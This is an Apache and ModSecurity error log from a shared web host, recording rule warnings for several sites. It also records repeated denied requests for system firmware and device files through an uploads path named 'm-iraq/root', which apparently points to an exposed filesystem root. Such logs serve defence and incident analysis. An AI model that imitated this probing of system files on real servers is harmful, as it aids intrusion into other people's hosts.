[Fri Jul 17 09:27:11.125371 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almoF_wooI4qY7Jg93pbGQAAABM"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:27:11.125534 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almoF_wooI4qY7Jg93pbGQAAABM"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:27:11.309502 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoFpBVIrrUwtEhdafWwAAAAAU"]
[Fri Jul 17 09:27:12.514032 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoGEkXT4NBqALj2laCjgAAABA"]
[Fri Jul 17 09:27:12.514185 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoGEkXT4NBqALj2laCjgAAABA"]
[Fri Jul 17 09:27:12.514901 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoGEkXT4NBqALj2laCjgAAABA"]
[Fri Jul 17 09:27:12.745213 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoGEkXT4NBqALj2laCjgAAABA"]
[Fri Jul 17 09:27:14.000541 2026] [security2:error] [pid 2047046:tid 2047046] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoGU_0b3nWp8txtSDC0QAAAA0"]
[Fri Jul 17 09:27:14.000717 2026] [security2:error] [pid 2047046:tid 2047046] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoGU_0b3nWp8txtSDC0QAAAA0"]
[Fri Jul 17 09:27:14.001545 2026] [security2:error] [pid 2047046:tid 2047046] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoGU_0b3nWp8txtSDC0QAAAA0"]
[Fri Jul 17 09:27:14.240142 2026] [security2:error] [pid 2047046:tid 2047046] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoGU_0b3nWp8txtSDC0QAAAA0"]
[Fri Jul 17 09:27:15.033373 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:15.037092 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:16.264962 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoHFh1WDijTxd1xw5SIgAAAAc"]
[Fri Jul 17 09:27:16.265091 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoHFh1WDijTxd1xw5SIgAAAAc"]
[Fri Jul 17 09:27:16.265834 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoHFh1WDijTxd1xw5SIgAAAAc"]
[Fri Jul 17 09:27:16.469424 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoHFh1WDijTxd1xw5SIgAAAAc"]
[Fri Jul 17 09:27:16.524416 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/firmware/dmi/entries/3-0/length
[Fri Jul 17 09:27:16.618184 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:16.668191 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:16.989997 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:17.064700 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:17.164537 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:17.266152 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:17.366153 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:17.468705 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:17.754842 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoHZBVIrrUwtEhdafWxAAAAAU"]
[Fri Jul 17 09:27:17.755005 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoHZBVIrrUwtEhdafWxAAAAAU"]
[Fri Jul 17 09:27:17.755996 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoHZBVIrrUwtEhdafWxAAAAAU"]
[Fri Jul 17 09:27:17.771538 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:0d/eject
[Fri Jul 17 09:27:17.876892 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:0d/eject
[Fri Jul 17 09:27:17.965943 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoHZBVIrrUwtEhdafWxAAAAAU"]
[Fri Jul 17 09:27:17.966021 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-global": Permission denied [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoHZBVIrrUwtEhdafWxAAAAAU"]
[Fri Jul 17 09:27:17.966075 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-ip": Permission denied [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoHZBVIrrUwtEhdafWxAAAAAU"]
[Fri Jul 17 09:27:17.974252 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:18.238034 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:18.715613 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:52880] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:19.090774 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:19.090855 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:19.147767 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoH1h1WDijTxd1xw5SJQAAAAc"]
[Fri Jul 17 09:27:19.147875 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoH1h1WDijTxd1xw5SJQAAAAc"]
[Fri Jul 17 09:27:19.148652 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoH1h1WDijTxd1xw5SJQAAAAc"]
[Fri Jul 17 09:27:19.198782 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/firmware/dmi/entries/3-0/raw
[Fri Jul 17 09:27:19.390159 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoH1h1WDijTxd1xw5SJQAAAAc"]
[Fri Jul 17 09:27:19.600258 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:19.704200 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:19.806964 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/firmware/dmi/entries/3-0/position
[Fri Jul 17 09:27:20.643278 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoIOjME1mgqYZ5O94rrwAAAAE"]
[Fri Jul 17 09:27:20.643385 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoIOjME1mgqYZ5O94rrwAAAAE"]
[Fri Jul 17 09:27:20.644027 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoIOjME1mgqYZ5O94rrwAAAAE"]
[Fri Jul 17 09:27:20.925713 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:21.064988 2026] [security2:error] [pid 2031172:tid 2031172] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoIOjME1mgqYZ5O94rrwAAAAE"]
[Fri Jul 17 09:27:21.126208 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:21.331758 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:21.432483 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:21.495017 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:50014] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:21.683337 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almoIVh1WDijTxd1xw5SKAAAAAc"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:27:21.683398 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almoIVh1WDijTxd1xw5SKAAAAAc"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:27:21.834487 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:21.936216 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/firmware/dmi/entries/3-0/handle
[Fri Jul 17 09:27:22.244837 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:22.292999 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:50074] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:22.356796 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:22.368644 2026] [security2:error] [pid 2034024:tid 2034024] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/delivery-information"] [unique_id "almoIo-0g_VSPeIeFN3GSAAAAAs"]
